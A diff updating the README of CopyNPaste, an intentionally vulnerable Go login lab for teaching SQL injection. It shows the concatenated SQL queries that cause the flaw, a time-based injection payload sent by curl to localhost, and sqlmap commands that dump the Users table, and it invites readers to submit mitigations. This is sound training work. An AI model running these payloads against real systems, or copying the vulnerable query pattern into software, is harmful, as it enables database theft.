Update A1 - Copy-n-Paste README

owasp-top10-2017-apps/a1/copy-n-paste/README.md

@@ -1,40 +1,155 @@
 # CopyNPaste API
-> This is a simple Golang API that contains an example of an Injection vulnerability.
 
-<img src="images/CopyNPaste.png" align="center"/>
+<img src="../../../images/secDevLabs-logo.png" align="" height="80" />
 
-## What is Injection?
+CopyNPaste is Golang web application that uses an API and a simple front end to simulate a login page. It has both `/register` and `/login` routes that, by communicating with a MySQL database, enables users register and enter into a generic system.
 
-Definition from [OWASP](https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf):
+## What is Injection?
 
 Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
 
-## Requirements
+The main goal of this project is to discuss how **SQL Injection** vulnerabilities can be exploited and to encourage developers send Pull Requests to secDevLabs on how they would mitigate these flaws.
 
-To build this lab you will need [Docker][Docker Install] and [Docker Compose][Docker Compose Install].
+## Setup
 
-## Deploy and Run
+To start this intentionally **insecure application**, you will need [Docker][Docker Install] and [Docker Compose][Docker Compose Install]. After forking [secDevLabs](https://github.com/globocom/secDevLabs), you must type the following commands to start:
 
-After cloning this repository, you can type the following command to start the vulnerable application:
+```sh
+cd secDevLabs/owasp-top10-2017-apps/a1/copy-n-paste
+```
 
 ```sh
-$ make install
+make install
+```
+
+Then simply visit [localhost:3000][App], as exemplified bellow:
+
+<img src="images/CopyNPaste.png" align="center"/>
+
+## Get to know steps
+
+To properly understand how this application works, you can follow these simple steps:
+
+- Register a new user via front-end.
+- Login as this user via front-end.
+* Register another user now using command line:
+```sh
+curl -s -H "Content-Type: application/json" -d '{"user":"bob", "pass":"password", "passcheck":"password"}' http://localhost:3000/register
+```
+* Login as this second user now using command line:
+```sh
+curl -s -H "Content-Type: application/json" -d '{"user":"bob", "pass":"password"}' http://localhost:3000/login
+
+```
+
+## Attack narrative
+
+Now that you know the purpose of this app, what could go wrong? The following section descrides how an attacker could identify and exploit an SQL Injection in CopyNPaste app. We encourage you follow these steps and try to reproduce the attack itself before reading any code.
+
+#### Vulnerabilituy identification  👀
+
+After reviewing `NewUser()` , `CheckIfUserExists()` and `AuthenticateUser()` from [`db.go`]((https://github.com/globocom/secDevLabs/blob/master/owasp-top10-2017-apps/a1/copy-n-paste/app/util/db.go#)) file, it was possibile to see that some input from users are concatenated with SQL queries, as shown in the following codes:
+
+```go
+query := fmt.Sprint("select * from Users where username = '" + user + "'")
+
+```
+
+```go
+query := fmt.Sprint("insert into Users (username, password) values ('" + user + "', '" + passHash + "')")
 ```
 
-Then simply visit [localhost:3000][App] !
+```go
+query := fmt.Sprint("select username from Users where username = '" + username + "'")
+```
+
+As no validation is present to these variables, SQL injections may be successfuly executed in the database. Using web interface, we send some information using form for inspect how web interface comunicates with API.
+
+<img src="docs/attack-0.png" align="center"/>
+
+To confirm this, the following payload could be used that, if the application is indeed vulnerable, a 5 seconds delay will be noted after sending it:
+
+<img src="docs/attack-1.png" align="center"/>
+
+Using `curl` on CLI interface, we can test again (with a 30 seconds delay):
+
+```sh
+curl -s -H "Content-Type: application/json" -d '{"user":"-1'\'' union select 1,2,sleep(30) -- ", "pass":"password"}' http://127.0.0.1:3000/login
+```
+
+Request:
+
+<img src="docs/attack-2.png" align="center"/>
+
+30 seconds later:
+
+<img src="docs/attack-3.png" align="center"/>
+
+#### Vulnerability exploitation 🔥
+
+An attacker could now create any malicious SQL queries and send to the API that, in theory, will be executed. For this attack narrative, [sqlmap](https://github.com/sqlmapproject/sqlmap) will be used to exemplify how an automated SQL Injection attack may be performed.
+
+To install sqlmap on Mac you can simply type:
+
+```sh
+brew install sqlmap
+```
+
+First possible step is to create a `postRequest.txt` containing the HTTP POST itself, as shown in the following code:
+
+```sh
+POST /login HTTP/1.1
+Host: 127.0.0.1:3000
+User-Agent: curl/7.54.0
+Accept: */*
+Content-Type: application/json
+Content-Length: 31
+
+{"user":"user", "pass":"password"}
+```
+
+Before executing the attack, you can open a new tab in your terminal and type the following command to observe how the malicious requests will come to the app:
+
+```sh
+docker logs a1_api -f
+```
+
+After that, we could now use `-r` option and wait sqlmap perform multiples malicious requests until it finds the vulnerable parameter:
+
+```sh
+sqlmap -r postRequest.txt
+```
+
+<img src="docs/attack-4.png" align="center"/>
+
+After understanding how this database is structured, an attacker could use the following command to retrieve database details:
+
+```sh
+sqlmap -r postRequest.txt --tables
+```
+
+And then retrieve sensitive information from it:
+
+```sh
+sqlmap -r postRequest.txt -D a1db -T Users --dump
+```
+
+<img src="docs/attack-5.png" align="center"/>
+
+## Secure this app 🔧
 
-## Attack Narrative
+How could you now migitate this vulnerability? After your code modification, an attacker should not be able to:
 
-To understand how this vulnerability can be exploited, check [this section](docs/ATTACK.md)!
+* Execute SQL queries into database.
 
-## Mitigating the vulnerability
+## PR solutions
 
-(Spoiler alert 🧐) To understand how this vulnerability can be mitigated, check [this other section](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22CopyNPaste+API%22)!
+[Spoiler alert] To understand how this vulnerability can be mitigated, check [these pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22CopyNPaste+API%22)!
 
 ## Contributing
 
-Yes, please. :zap:
+We encourage you to contribute to SecDevLabs! Please check out the [Contributing to SecDevLabs](../../../docs/CONTRIBUTING.md) section for guidelines on how to proceed! 🎉
 
 [Docker Install]:  https://docs.docker.com/install/
 [Docker Compose Install]: https://docs.docker.com/compose/install/
-[App]: http://127.0.0.1:3000
+[App]: http://localhost:3000